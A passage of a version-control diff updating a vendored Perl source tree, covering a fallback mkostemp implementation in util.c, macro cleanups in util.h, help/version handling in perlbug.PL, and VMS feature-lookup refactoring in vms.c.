 #if defined(_MSC_VER) && (_MSC_VER >= 1300) && (_MSC_VER < 1400) && (WINVER < 0x0500)
 /* VC7 or 7.1, building with pre-VC7 runtime libraries. */
 long _ftol( double ); /* Defined by VC6 C libs. */
@@ -5792,6 +5631,56 @@
 #endif 
 }
 
+#if !defined(HAS_MKOSTEMP) || !defined(HAS_MKSTEMP)
+
+#define TEMP_FILE_CH "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvxyz0123456789"
+#define TEMP_FILE_CH_COUNT (sizeof(TEMP_FILE_CH)-1)
+
+static int
+S_my_mkostemp(char *templte, int flags) {
+    dTHX;
+    STRLEN len = strlen(templte);
+    int fd;
+    int attempts = 0;
+
+    if (len < 6 ||
+        templte[len-1] != 'X' || templte[len-2] != 'X' || templte[len-3] != 'X' ||
+        templte[len-4] != 'X' || templte[len-5] != 'X' || templte[len-6] != 'X') {
+        SETERRNO(EINVAL, LIB_INVARG);
+        return -1;
+    }
+
+    do {
+        int i;
+        for (i = 1; i <= 6; ++i) {
+            templte[len-i] = TEMP_FILE_CH[(int)(Perl_internal_drand48() * TEMP_FILE_CH_COUNT)];
+        }
+        fd = PerlLIO_open3(templte, O_RDWR | O_CREAT | O_EXCL | flags, 0600);
+    } while (fd == -1 && errno == EEXIST && ++attempts <= 100);
+
+    return fd;
+}
+
+#endif
+
+#ifndef HAS_MKOSTEMP
+int
+Perl_my_mkostemp(char *templte, int flags)
+{
+    PERL_ARGS_ASSERT_MY_MKOSTEMP;
+    return S_my_mkostemp(templte, flags);
+}
+#endif
+
+#ifndef HAS_MKSTEMP
+int
+Perl_my_mkstemp(char *templte)
+{
+    PERL_ARGS_ASSERT_MY_MKSTEMP;
+    return S_my_mkostemp(templte, 0);
+}
+#endif
+
 REGEXP *
 Perl_get_re_arg(pTHX_ SV *sv) {
 
@@ -5832,9 +5721,9 @@
 
 #ifdef PERL_DRAND48_QUAD
 
-#define DRAND48_MULT U64_CONST(0x5deece66d)
+#define DRAND48_MULT UINT64_C(0x5deece66d)
 #define DRAND48_ADD  0xb
-#define DRAND48_MASK U64_CONST(0xffffffffffff)
+#define DRAND48_MASK UINT64_C(0xffffffffffff)
 
 #else
 
@@ -6105,7 +5994,7 @@
     UV uv;
 
     /* Skip trailing whitespace. */
-    while (p > start && isspace(*p)) p--;
+    while (p > start && isSPACE(*p)) p--;
     /* Now we should be at the close paren. */
     if (p == start || *p != ')')
         return NULL;
@@ -6112,10 +6001,10 @@
     close_paren = p;
     p--;
     /* Now we should be in the line number. */
-    if (p == start || !isdigit(*p))
+    if (p == start || !isDIGIT(*p))
         return NULL;
     /* Skip over the digits. */
-    while (p > start && isdigit(*p))
+    while (p > start && isDIGIT(*p))
         p--;
     /* Now we should be at the colon. */
     if (p == start || *p != ':')
@@ -6160,7 +6049,7 @@
      * the object name (used as "-o '%s'" ), leave since at least
      * partially the user controls it. */
     for (p = ctx->fname; *p; p++) {
-        if (*p == '\'' || iscntrl(*p)) {
+        if (*p == '\'' || isCNTRL(*p)) {
             ctx->unavail = TRUE;
             return;
         }

Modified: vendor/perl/dist/util.h
===================================================================
--- vendor/perl/dist/util.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/util.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,28 +19,22 @@
 	     || ((*(f) == '[' || *(f) == '<')				\
 		 && (isWORDCHAR((f)[1]) || strchr("$-_]>",(f)[1])))))
 
-#else		/* !VMS */
-#  if defined(WIN32) || defined(__CYGWIN__)
-#    define PERL_FILE_IS_ABSOLUTE(f) \
+#elif defined(WIN32) || defined(__CYGWIN__)
+#  define PERL_FILE_IS_ABSOLUTE(f) \
 	(*(f) == '/' || *(f) == '\\'		/* UNC/rooted path */	\
 	 || ((f)[0] && (f)[1] == ':'))		/* drive name */
-#  else		/* !WIN32 */
-#  ifdef NETWARE
-#    define PERL_FILE_IS_ABSOLUTE(f) \
+#elif defined(NETWARE)
+#  define PERL_FILE_IS_ABSOLUTE(f) \
 	(((f)[0] && (f)[1] == ':')		/* drive name */	\
 	 || ((f)[0] == '\\' && (f)[1] == '\\')	/* UNC path */	\
 	 ||	((f)[3] == ':'))				/* volume name, currently only sys */
-#  else		/* !NETWARE */
-#    if defined(DOSISH) || defined(__SYMBIAN32__)
-#      define PERL_FILE_IS_ABSOLUTE(f) \
+#elif defined(DOSISH) || defined(__SYMBIAN32__)
+#  define PERL_FILE_IS_ABSOLUTE(f) \
 	(*(f) == '/'							\
 	 || ((f)[0] && (f)[1] == ':'))		/* drive name */
-#    else	/* NEITHER DOSISH NOR SYMBIANISH */
-#      define PERL_FILE_IS_ABSOLUTE(f)	(*(f) == '/')
-#    endif	/* DOSISH */
-#   endif	/* NETWARE */
-#  endif	/* WIN32 */
-#endif		/* VMS */
+#else	/* NEITHER DOSISH NOR SYMBIANISH */
+#  define PERL_FILE_IS_ABSOLUTE(f)	(*(f) == '/')
+#endif
 
 /*
 =head1 Miscellaneous Functions
@@ -89,6 +83,12 @@
 #define Perl_drand48_init(seed) (Perl_drand48_init_r(&PL_random_state, (seed)))
 #define Perl_drand48() (Perl_drand48_r(&PL_random_state))
 
+#ifdef PERL_CORE
+/* uses a different source of randomness to avoid interfering with the results
+ * of rand() */
+#define Perl_internal_drand48() (Perl_drand48_r(&PL_internal_random_state))
+#endif
+
 #ifdef USE_C_BACKTRACE
 
 typedef struct {
@@ -237,9 +237,22 @@
 
 #ifdef HAS_MEMMEM
 #   define ninstr(big, bigend, little, lend)                                \
-            ((char *) memmem(big, bigend - big, little, lend - little))
+            ((char *) memmem((big), (bigend) - (big),                       \
+                             (little), (lend) - (little)))
 #endif
 
+#ifdef __Lynx__
+/* Missing proto on LynxOS */
+int mkstemp(char*);
+#endif
+
+#if defined(HAS_MKOSTEMP) && defined(PERL_CORE)
+#   define Perl_my_mkostemp(templte, flags) mkostemp(templte, flags)
+#endif
+#if defined(HAS_MKSTEMP) && defined(PERL_CORE)
+#   define Perl_my_mkstemp(templte) mkstemp(templte)
+#endif
+
 #endif /* PERL_UTIL_H_ */
 
 /*

Modified: vendor/perl/dist/utils/perlbug.PL
===================================================================
--- vendor/perl/dist/utils/perlbug.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/utils/perlbug.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -65,6 +65,8 @@
 use Getopt::Std;
 use File::Basename 'basename';
 
+$Getopt::Std::STANDARD_HELP_VERSION = 1;
+
 sub paraprint;
 
 BEGIN {
@@ -81,7 +83,7 @@
     $::HaveWrap = ($@ eq "");
 };
 
-my $Version = "1.40";
+our $VERSION = "1.41";
 
 #TODO:
 #       make sure failure (transmission-wise) of Mail::Send is accounted for.
@@ -185,6 +187,9 @@
     lc $alt;
 }
 
+sub HELP_MESSAGE { Help(); exit; }
+sub VERSION_MESSAGE { print "perlbug version $VERSION\n"; }
+
 sub Init {
     # -------- Setup --------
 
@@ -193,13 +198,6 @@
     $Is_Linux = lc($^O) eq 'linux';
     $Is_OpenBSD = lc($^O) eq 'openbsd';
 
-    if (!getopts("Adhva:s:b:f:F:r:e:SCc:to:n:T:p:", \%opt)) { Help(); exit; };
-
-    # This comment is needed to notify metaconfig that we are
-    # using the $perladmin, $cf_by, and $cf_time definitions.
-
-    # -------- Configuration ---------
-
     # perlbug address
     $bugaddress = 'perlbug at perl.org';
 
@@ -209,6 +207,16 @@
     # Thanks address
     $thanksaddress = 'perl-thanks at perl.org';
 
+    # Defaults if getopts fails.
+    $address = (basename ($0) =~ /^perlthanks/i) ? $thanksaddress : $bugaddress;
+    $cc = $::Config{'perladmin'} || $::Config{'cf_email'} || $::Config{'cf_by'} || '';
+
+    HELP_MESSAGE() unless getopts("Adhva:s:b:f:F:r:e:SCc:to:n:T:p:", \%opt);
+
+    # This comment is needed to notify metaconfig that we are
+    # using the $perladmin, $cf_by, and $cf_time definitions.
+    # -------- Configuration ---------
+
     if (basename ($0) =~ /^perlthanks/i) {
 	# invoked as perlthanks
 	$opt{T} = 1;
@@ -241,7 +249,7 @@
 
     # We have one or more attachments
     $have_attachment = ($opt{p} || 0);
-    $mime_boundary = ('-' x 12) . "$Version.perlbug" if $have_attachment;
+    $mime_boundary = ('-' x 12) . "$VERSION.perlbug" if $have_attachment;
 
     # Comma-separated list of attachments
     $attachments = $opt{p} || "";
@@ -612,7 +620,7 @@
 
     print REP <<EOF;
 This is a $reptype report for perl from $from,
-generated with the help of perlbug $Version running under perl $perl_version.
+generated with the help of perlbug $VERSION running under perl $perl_version.
 
 EOF
 
@@ -1114,6 +1122,10 @@
 sub save_message_to_disk {
     my $file = shift;
 
+        if (-e $file) {
+            my $response = _prompt( '', "Overwrite existing '$file'", 'n' );
+            return undef unless $response =~ / yes | y /xi;
+        }
         open OUTFILE, '>:raw', $file or do { warn  "Couldn't open '$file': $!\n"; return undef};
         binmode(OUTFILE, ':raw :crlf') if $Is_MSWin32;
 

Modified: vendor/perl/dist/vms/descrip_mms.template
===================================================================
--- vendor/perl/dist/vms/descrip_mms.template	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vms/descrip_mms.template	2018-12-22 22:55:19 UTC (rev 12126)
@@ -307,7 +307,7 @@
 extra.pods : miniperl
 	@ @extra_pods.com
 
-PERLDELTA_CURRENT = [.pod]perl5260delta.pod
+PERLDELTA_CURRENT = [.pod]perl5280delta.pod
 
 $(PERLDELTA_CURRENT) : [.pod]perldelta.pod
 	Copy/NoConfirm/Log $(MMS$SOURCE) $(PERLDELTA_CURRENT)

Modified: vendor/perl/dist/vms/vms.c
===================================================================
--- vendor/perl/dist/vms/vms.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vms/vms.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -196,7 +196,7 @@
 
 static char *__mystrtolower(char *str)
 {
-  if (str) for (; *str; ++str) *str= tolower(*str);
+  if (str) for (; *str; ++str) *str= toLOWER_L1(*str);
   return str;
 }
 
@@ -213,19 +213,38 @@
 /* munching */ 
 static int no_translate_barewords;
 
-/* DECC Features that may need to affect how Perl interprets
- * displays filename information
+/* DECC feature indexes.  We grab the indexes at start-up
+ * time for later use with decc$feature_get_value.
  */
-static int decc_disable_to_vms_logname_translation = 1;
-static int decc_disable_posix_root = 1;
-int decc_efs_case_preserve = 0;
-static int decc_efs_charset = 0;
-static int decc_efs_charset_index = -1;
-static int decc_filename_unix_no_version = 0;
-static int decc_filename_unix_only = 0;
-int decc_filename_unix_report = 0;
-int decc_posix_compliant_pathnames = 0;
-int decc_readdir_dropdotnotype = 0;
+static int disable_to_vms_logname_translation_index = -1;
+static int disable_posix_root_index = -1;
+static int efs_case_preserve_index = -1;
+static int efs_charset_index = -1;
+static int filename_unix_no_version_index = -1;
+static int filename_unix_only_index = -1;
+static int filename_unix_report_index = -1;
+static int posix_compliant_pathnames_index = -1;
+static int readdir_dropdotnotype_index = -1;
+
+#define DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION \
+    (decc$feature_get_value(disable_to_vms_logname_translation_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_DISABLE_POSIX_ROOT  \
+    (decc$feature_get_value(disable_posix_root_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_EFS_CASE_PRESERVE  \
+    (decc$feature_get_value(efs_case_preserve_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_EFS_CHARSET  \
+    (decc$feature_get_value(efs_charset_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_FILENAME_UNIX_NO_VERSION  \
+    (decc$feature_get_value(filename_unix_no_version_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_FILENAME_UNIX_ONLY  \
+    (decc$feature_get_value(filename_unix_only_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_FILENAME_UNIX_REPORT  \
+    (decc$feature_get_value(filename_unix_report_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_POSIX_COMPLIANT_PATHNAMES   \
+    (decc$feature_get_value(posix_compliant_pathnames_index,__FEATURE_MODE_CURVAL)>0)
+#define DECC_READDIR_DROPDOTNOTYPE  \
+    (decc$feature_get_value(readdir_dropdotnotype_index,__FEATURE_MODE_CURVAL)>0)
+
 static int vms_process_case_tolerant = 1;
 int vms_vtf7_filenames = 0;
 int gnv_unix_shell = 0;
@@ -285,7 +304,7 @@
     const char * pch1;
 
     ret_val = 0;
-    if (strncmp(path,"\"^UP^",5) != 0) {
+    if (! strBEGINs(path,"\"^UP^")) {
 	pch1 = strchr(path, '/');
 	if (pch1 != NULL)
 	    ret_val = 1;
@@ -292,8 +311,8 @@
 	else {
 
 	    /* If the user wants UNIX files, "." needs to be treated as in UNIX */
-	    if (decc_filename_unix_report || decc_filename_unix_only) {
-	    if (strcmp(path,".") == 0)
+	    if (DECC_FILENAME_UNIX_REPORT || DECC_FILENAME_UNIX_ONLY) {
+	      if (strEQ(path,"."))
 		ret_val = 1;
 	    }
 	}
@@ -446,13 +465,13 @@
     if ((inspec[0] == '$') && (inspec[1] == '(')) {
     int tcnt;
 
-	if (isalnum(inspec[2]) || (inspec[2] == '.') || (inspec[2] == '_')) {
+	if (isALPHA_L1(inspec[2]) || (inspec[2] == '.') || (inspec[2] == '_')) {
 	    tcnt = 3;
 	    outspec[0] = inspec[0];
 	    outspec[1] = inspec[1];
 	    outspec[2] = inspec[2];
 
-	    while(isalnum(inspec[tcnt]) ||
+	    while(isALPHA_L1(inspec[tcnt]) ||
 		  (inspec[2] == '.') || (inspec[2] == '_')) {
 		outspec[tcnt] = inspec[tcnt];
 		tcnt++;
@@ -475,7 +494,7 @@
 	return 1;
 	break;
     case '?':
-	if (decc_efs_charset == 0)
+	if (!DECC_EFS_CHARSET)
 	  outspec[0] = '%';
 	else
 	  outspec[0] = '?';
@@ -751,7 +770,7 @@
      * The parser can not tell the difference when a "." is a version
      * delimiter or a part of the file specification.
      */
-    if ((decc_efs_charset) && 
+    if ((DECC_EFS_CHARSET) &&
 	(item_list[verspec].length > 0) &&
 	(item_list[verspec].component[0] == '.')) {
 	*name = item_list[namespec].component;
@@ -787,9 +806,9 @@
 
     /* Look for the DIR on the extension */
     if (vms_process_case_tolerant) {
-        if ((toupper(e_spec[1]) == 'D') &&
-            (toupper(e_spec[2]) == 'I') &&
-            (toupper(e_spec[3]) == 'R')) {
+        if ((toUPPER_A(e_spec[1]) == 'D') &&
+            (toUPPER_A(e_spec[2]) == 'I') &&
+            (toUPPER_A(e_spec[3]) == 'R')) {
             return 1;
         }
     } else {
@@ -844,10 +863,10 @@
 {
     if (*((int *)lnm) == *((int *)"SYS$")                    &&
         eqvlen >= 4 && eqv[0] == 0x1b && eqv[1] == 0x00      &&
-        ( (lnm[4] == 'O' && !strcmp(lnm,"SYS$OUTPUT"))  ||
-          (lnm[4] == 'I' && !strcmp(lnm,"SYS$INPUT"))   ||
-          (lnm[4] == 'E' && !strcmp(lnm,"SYS$ERROR"))   ||
-          (lnm[4] == 'C' && !strcmp(lnm,"SYS$COMMAND")) )  ) {
+        ( (lnm[4] == 'O' && strEQ(lnm,"SYS$OUTPUT"))  ||
+          (lnm[4] == 'I' && strEQ(lnm,"SYS$INPUT"))   ||
+          (lnm[4] == 'E' && strEQ(lnm,"SYS$ERROR"))   ||
+          (lnm[4] == 'C' && strEQ(lnm,"SYS$COMMAND")) )  ) {
 
         memmove(eqv, eqv+4, eqvlen-4);
         eqvlen -= 4;
@@ -886,7 +905,7 @@
       set_errno(EINVAL); set_vaxc_errno(SS$_BADPARAM); return 0;
     }
     for (cp1 = lnm, cp2 = uplnm; *cp1; cp1++, cp2++) {
-      *cp2 = _toupper(*cp1);
+      *cp2 = toUPPER_A(*cp1);
       if (cp1 - lnm > LNM$C_NAMLENGTH) {
         set_errno(EINVAL); set_vaxc_errno(SS$_IVLOGNAM);
         return 0;
@@ -919,7 +938,7 @@
           for (i = 0; environ[i]; i++) { 
             if ((eq = strchr(environ[i],'=')) && 
                 lnmdsc.dsc$w_length == (eq - environ[i]) &&
-                !strncmp(environ[i],lnm,eq - environ[i])) {
+                strnEQ(environ[i],lnm,eq - environ[i])) {
               eq++;
               for (eqvlen = 0; eq[eqvlen]; eqvlen++) eqv[eqvlen] = eq[eqvlen];
               if (!eqvlen) continue;
@@ -1077,8 +1096,8 @@
       eqv = __my_getenv_eqv;  
     }
 
-    for (cp1 = lnm, cp2 = eqv; *cp1; cp1++,cp2++) *cp2 = _toupper(*cp1);
-    if (cp1 - lnm == 7 && !strncmp(eqv,"DEFAULT",7)) {
+    for (cp1 = lnm, cp2 = eqv; *cp1; cp1++,cp2++) *cp2 = toUPPER_A(*cp1);
+    if (memEQs(eqv, cp1 - lnm, "DEFAULT")) {
       int len;
       getcwd(eqv,LNM$C_NAMLENGTH);
 
@@ -1173,8 +1192,8 @@
       buf = __my_getenv_len_eqv;  
     }
 
-    for (cp1 = lnm, cp2 = buf; *cp1; cp1++,cp2++) *cp2 = _toupper(*cp1);
-    if (cp1 - lnm == 7 && !strncmp(buf,"DEFAULT",7)) {
+    for (cp1 = lnm, cp2 = buf; *cp1; cp1++,cp2++) *cp2 = toUPPER_A(*cp1);
+    if (memEQs(buf, cp1 - lnm, "DEFAULT")) {
     char * zeros;
 
       getcwd(buf,LNM$C_NAMLENGTH);
@@ -1394,7 +1413,7 @@
       if (sts == SS$_BUFFEROVF && ckWARN(WARN_INTERNAL))
         Perl_warner(aTHX_ packWARN(WARN_INTERNAL),"Buffer overflow in prime_env_iter: %s",buf);
 
-      for (cp1 = buf; *cp1 && isspace(*cp1); cp1++) ;
+      for (cp1 = buf; *cp1 && isSPACE_L1(*cp1); cp1++) ;
       if (*cp1 == '(' || /* Logical name table name */
           *cp1 == '='    /* Next eqv of searchlist  */) continue;
       if (*cp1 == '"') cp1++;
@@ -1489,7 +1508,7 @@
     }
 
     for (cp1 = lnm, cp2 = uplnm; *cp1; cp1++, cp2++) {
-      *cp2 = _toupper(*cp1);
+      *cp2 = toUPPER_A(*cp1);
       if (cp1 - lnm > LNM$C_NAMLENGTH) {
         set_errno(EINVAL); set_vaxc_errno(SS$_IVLOGNAM);
         return SS$_IVLOGNAM;
@@ -1505,7 +1524,7 @@
           for (i = 0; environ[i]; i++) { /* If it's an environ elt, reset */
             if ((cp1 = strchr(environ[i],'=')) && 
                 lnmdsc.dsc$w_length == (cp1 - environ[i]) &&
-                !strncmp(environ[i],lnm,cp1 - environ[i])) {
+                strnEQ(environ[i],lnm,cp1 - environ[i])) {
               unsetenv(lnm);
               return 0;
             }
@@ -1636,8 +1655,8 @@
       if  (len == 7) {
         char uplnm[8];
         int i;
-        for (i = 0; lnm[i]; i++) uplnm[i] = _toupper(lnm[i]);
-        if (!strcmp(uplnm,"DEFAULT")) {
+        for (i = 0; lnm[i]; i++) uplnm[i] = toUPPER_A(lnm[i]);
+        if (strEQ(uplnm,"DEFAULT")) {
           if (eqv && *eqv) my_chdir(eqv);
           return;
         }
@@ -2143,7 +2162,7 @@
   cp = (char *)PerlMem_malloc(L_tmpnam+24);
   if (cp == NULL) _ckvmssts_noperl(SS$_INSFMEM);
 
-  if (decc_filename_unix_only == 0)
+  if (DECC_FILENAME_UNIX_ONLY == 0)
     strcpy(cp,"Sys$Scratch:");
   else
     strcpy(cp,"/tmp/");
@@ -3720,7 +3739,7 @@
 
         if (SvROK(dirsv)) continue;
         dir = SvPVx(dirsv,n_a);
-        if (strcmp(dir,".") == 0) continue;
+        if (strEQ(dir,".")) continue;
         if ((tounixpath_utf8(dir, unixdir, NULL)) == NULL)
             continue;
 
@@ -3821,7 +3840,7 @@
     */
 
     index++;
-    if (!decc_filename_unix_only) {
+    if (!DECC_FILENAME_UNIX_ONLY) {
       sprintf(file,"sys$scratch:perlpipe_%08.8x_%d.com",mypid,index);
       fp = fopen(file,"w");
       if (!fp) {
@@ -3876,7 +3895,7 @@
     fstat(fileno(fp), &s0.crtl_stat);
     fclose(fp);
 
-    if (decc_filename_unix_only)
+    if (DECC_FILENAME_UNIX_ONLY)
 	int_tounixspec(file, file, NULL);
     fp = fopen(file,"r","shr=get");
     if (!fp) return 0;
@@ -5573,7 +5592,7 @@
    rms_set_rsal(mynam, outbuf, NAM$C_MAXRSS, outbufl, (VMS_MAXRSS - 1));
 
 #ifdef NAM$M_NO_SHORT_UPCASE
-  if (decc_efs_case_preserve)
+  if (DECC_EFS_CASE_PRESERVE)
     rms_set_nam_nop(mynam, NAM$M_NO_SHORT_UPCASE);
 #endif
 
@@ -5637,7 +5656,7 @@
   /* If the input filespec contained any lowercase characters,
    * downcase the result for compatibility with Unix-minded code. */
 int_expanded:
-  if (!decc_efs_case_preserve) {
+  if (!DECC_EFS_CASE_PRESERVE) {
     char * tbuf;
     for (tbuf = rms_get_fna(myfab, mynam); *tbuf; tbuf++)
       if (islower(*tbuf)) { haslower = 1; break; }
@@ -5710,7 +5729,7 @@
 	rms_clear_nam_nop(defnam);
 	rms_set_nam_nop(defnam, NAM$M_SYNCHK);
 #ifdef NAM$M_NO_SHORT_UPCASE
-	if (decc_efs_case_preserve)
+	if (DECC_EFS_CASE_PRESERVE)
 	  rms_set_nam_nop(defnam, NAM$M_NO_SHORT_UPCASE);
 #endif
 #ifdef NAML$M_OPEN_SPECIAL
@@ -5790,7 +5809,7 @@
 
   /* Posix format specifications must have matching quotes */
   if (speclen < (VMS_MAXRSS - 1)) {
-    if (decc_posix_compliant_pathnames && (spec_buf[0] == '\"')) {
+    if (DECC_POSIX_COMPLIANT_PATHNAMES && (spec_buf[0] == '\"')) {
       if ((speclen > 1) && (spec_buf[speclen-1] != '\"')) {
         spec_buf[speclen] = '\"';
         speclen++;
@@ -5798,7 +5817,7 @@
     }
   }
   spec_buf[speclen] = '\0';
-  if (haslower && !decc_efs_case_preserve) __mystrtolower(spec_buf);
+  if (haslower && !DECC_EFS_CASE_PRESERVE) __mystrtolower(spec_buf);
 
   /* Have we been working with an expanded, but not resultant, spec? */
   /* Also, convert back to Unix syntax if necessary. */
@@ -6009,7 +6028,7 @@
     dirlen = strlen(dir);
     while (dirlen && dir[dirlen-1] == '/') --dirlen;
     if (!dirlen) { /* We had Unixish '/' -- substitute top of current tree */
-      if (!decc_posix_compliant_pathnames && decc_disable_posix_root) {
+      if (!DECC_POSIX_COMPLIANT_PATHNAMES && DECC_DISABLE_POSIX_ROOT) {
         dir = "/sys$disk";
         dirlen = 9;
       }
@@ -6023,7 +6042,7 @@
     trndir = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
     if (trndir == NULL) _ckvmssts_noperl(SS$_INSFMEM);
     if (!strpbrk(dir+1,"/]>:")  &&
-	(!decc_posix_compliant_pathnames && decc_disable_posix_root)) {
+	(!DECC_POSIX_COMPLIANT_PATHNAMES && DECC_DISABLE_POSIX_ROOT)) {
       strcpy(trndir,*dir == '/' ? dir + 1: dir);
       trnlnm_iter_count = 0;
       while (!strpbrk(trndir,"/]>:") && simple_trnlnm(trndir,trndir,VMS_MAXRSS-1)) {
@@ -6047,11 +6066,11 @@
      *    ... do_fileify_dirspec("myroot",buf,1) ...
      * does something useful.
      */
-    if (dirlen >= 2 && !strcmp(trndir+dirlen-2,".]")) {
+    if (dirlen >= 2 && strEQ(trndir+dirlen-2,".]")) {
       trndir[--dirlen] = '\0';
       trndir[dirlen-1] = ']';
     }
-    if (dirlen >= 2 && !strcmp(trndir+dirlen-2,".>")) {
+    if (dirlen >= 2 && strEQ(trndir+dirlen-2,".>")) {
       trndir[--dirlen] = '\0';
       trndir[dirlen-1] = '>';
     }
@@ -6139,7 +6158,7 @@
         } while ((cp1 = strstr(cp1,"/.")) != NULL);
         lastdir = strrchr(trndir,'/');
       }
-      else if (dirlen >= 7 && !strcmp(&trndir[dirlen-7],"/000000")) {
+      else if (dirlen >= 7 && strEQ(&trndir[dirlen-7],"/000000")) {
 	char * ret_chr;
         /* Ditto for specs that end in an MFD -- let the VMS code
          * figure out whether it's a real device or a rooted logical. */
@@ -6185,7 +6204,7 @@
             }
             is_dir = is_dir_ext(cp2, e_len, cp3, vs_len);
             if (!is_dir) {
-                if (!decc_efs_charset) {
+                if (!DECC_EFS_CHARSET) {
                     /* If this is not EFS, then not a directory */
                     PerlMem_free(trndir);
                     PerlMem_free(vmsdir);
@@ -6201,7 +6220,7 @@
                 /* The .dir for now, and fix this better later */
                 dirlen = cp2 - trndir;
             }
-            if (decc_efs_charset && !strchr(trndir,'/')) {
+            if (DECC_EFS_CHARSET && !strchr(trndir,'/')) {
                 /* Dots are allowed in dir names, so escape them if input not in Unix syntax. */
                 char *cp4 = is_dir ? (cp2 - 1) : cp2;
                   
@@ -6225,11 +6244,11 @@
 
       /* We've picked up everything up to the directory file name.
          Now just add the type and version, and we're set. */
-      if ((!decc_efs_case_preserve) && vms_process_case_tolerant)
+      if ((!DECC_EFS_CASE_PRESERVE) && vms_process_case_tolerant)
           strcat(buf,".dir");
       else
           strcat(buf,".DIR");
-      if (!decc_filename_unix_no_version)
+      if (!DECC_FILENAME_UNIX_NO_VERSION)
           strcat(buf,";1");
       PerlMem_free(trndir);
       PerlMem_free(vmsdir);
@@ -6257,7 +6276,7 @@
       rms_set_dna(dirfab, dirnam, ".DIR;1", 6);
       rms_set_esal(dirnam, esa, NAM$C_MAXRSS, esal, (VMS_MAXRSS - 1));
 #ifdef NAM$M_NO_SHORT_UPCASE
-      if (decc_efs_case_preserve)
+      if (DECC_EFS_CASE_PRESERVE)
 	rms_set_nam_nop(dirnam, NAM$M_NO_SHORT_UPCASE);
 #endif
 
@@ -6332,7 +6351,7 @@
       if (rms_is_nam_fnb(dirnam, NAM$M_EXP_TYPE)) {  /* Was type specified? */
         /* Yep; check version while we're at it, if it's there. */
         cmplen = rms_is_nam_fnb(dirnam, NAM$M_EXP_VER) ? 6 : 4;
-        if (strncmp(rms_nam_typel(dirnam), ".DIR;1", cmplen)) { 
+        if (strnNE(rms_nam_typel(dirnam), ".DIR;1", cmplen)) {
           /* Something other than .DIR[;1].  Bzzt. */
 	  sts = rms_free_search_context(&dirfab);
 	  PerlMem_free(esa);
@@ -6400,7 +6419,7 @@
           /* Go back and expand rooted logical name */
           rms_set_nam_nop(dirnam, NAM$M_SYNCHK | NAM$M_NOCONCEAL);
 #ifdef NAM$M_NO_SHORT_UPCASE
-	  if (decc_efs_case_preserve)
+	  if (DECC_EFS_CASE_PRESERVE)
 	    rms_set_nam_nop(dirnam, NAM$M_NO_SHORT_UPCASE);
 #endif
           if (!(sys$parse(&dirfab) & STS$K_SUCCESS)) {
@@ -6427,7 +6446,7 @@
           if (!cp1) cp1 = strstr(my_esa,"]<");
           dirlen = cp1 - my_esa;
           memcpy(buf, my_esa, dirlen);
-          if (!strncmp(cp1+2,"000000]",7)) {
+          if (strBEGINs(cp1+2,"000000]")) {
             buf[dirlen-1] = '\0';
 	    /* fix-me Not full ODS-5, just extra dots in directories for now */
 	    cp1 = buf + dirlen - 1;
@@ -6483,7 +6502,7 @@
 
       /* $PARSE may have upcased filespec, so convert output to lower
        * case if input contained any lowercase characters. */
-      if (haslower && !decc_efs_case_preserve) __mystrtolower(buf);
+      if (haslower && !DECC_EFS_CASE_PRESERVE) __mystrtolower(buf);
       PerlMem_free(trndir);
       PerlMem_free(esa);
       if (esal != NULL)
@@ -6602,11 +6621,11 @@
             memcpy(&buf[len], n_spec, n_len);
             len += n_len;
             if (e_len > 0) {
-                if (decc_efs_charset) {
+                if (DECC_EFS_CHARSET) {
                     if (e_len == 4 
-                        && (toupper(e_spec[1]) == 'D')
-                        && (toupper(e_spec[2]) == 'I')
-                        && (toupper(e_spec[3]) == 'R')) {
+                        && (toUPPER_A(e_spec[1]) == 'D')
+                        && (toUPPER_A(e_spec[2]) == 'I')
+                        && (toUPPER_A(e_spec[3]) == 'R')) {
 
                         /* Corner case: directory spec with invalid version.
                          * Valid would have followed is_dir path above.
@@ -6697,7 +6716,7 @@
         trnlen = strlen(trndir);
 
         /* Trap simple rooted lnms, and return lnm:[000000] */
-        if (!strcmp(trndir+trnlen-2,".]")) {
+        if (strEQ(trndir+trnlen-2,".]")) {
             my_strlcpy(buf, dir, VMS_MAXRSS);
             strcat(buf, ":[000000]");
             PerlMem_free(trndir);
@@ -6711,7 +6730,7 @@
 
     /* At this point we do not work with *dir, but the copy in  *trndir */
 
-    if (need_to_lower && !decc_efs_case_preserve) {
+    if (need_to_lower && !DECC_EFS_CASE_PRESERVE) {
         /* Legacy mode, lower case the returned value */
         __mystrtolower(trndir);
     }
@@ -6744,7 +6763,7 @@
                 /* is a relative Unix directory specification */
 
                 sts = 1;
-                if (!decc_filename_unix_report && decc_efs_charset) {
+                if (!DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
                     int is_dir;
                     is_dir = is_dir_ext(e_spec, e_len, vs_spec, vs_len);
 
@@ -6801,7 +6820,7 @@
                     d_spec, d_len, n_spec, n_len,
                     e_spec, e_len, vs_spec, vs_len);
 
-                if ((ret_spec != NULL) && (!decc_efs_case_preserve)) {
+                if ((ret_spec != NULL) && (!DECC_EFS_CASE_PRESERVE)) {
                     /* Legacy mode, lower case the returned value */
                     __mystrtolower(ret_spec);
                 }
@@ -6878,7 +6897,7 @@
         }
 
         /* Under ODS-2 rules, '.' becomes '_', so fix it up */
-        if (!decc_efs_charset) {
+        if (!DECC_EFS_CHARSET) {
              int dir_start = 0;
              char * str = buf;
              if (str[0] == '.') {
@@ -7031,8 +7050,8 @@
   /* New VMS specific format needs translation
    * glob passes filenames with trailing '\n' and expects this preserved.
    */
-  if (decc_posix_compliant_pathnames) {
-    if (strncmp(spec, "\"^UP^", 5) == 0) {
+  if (DECC_POSIX_COMPLIANT_PATHNAMES) {
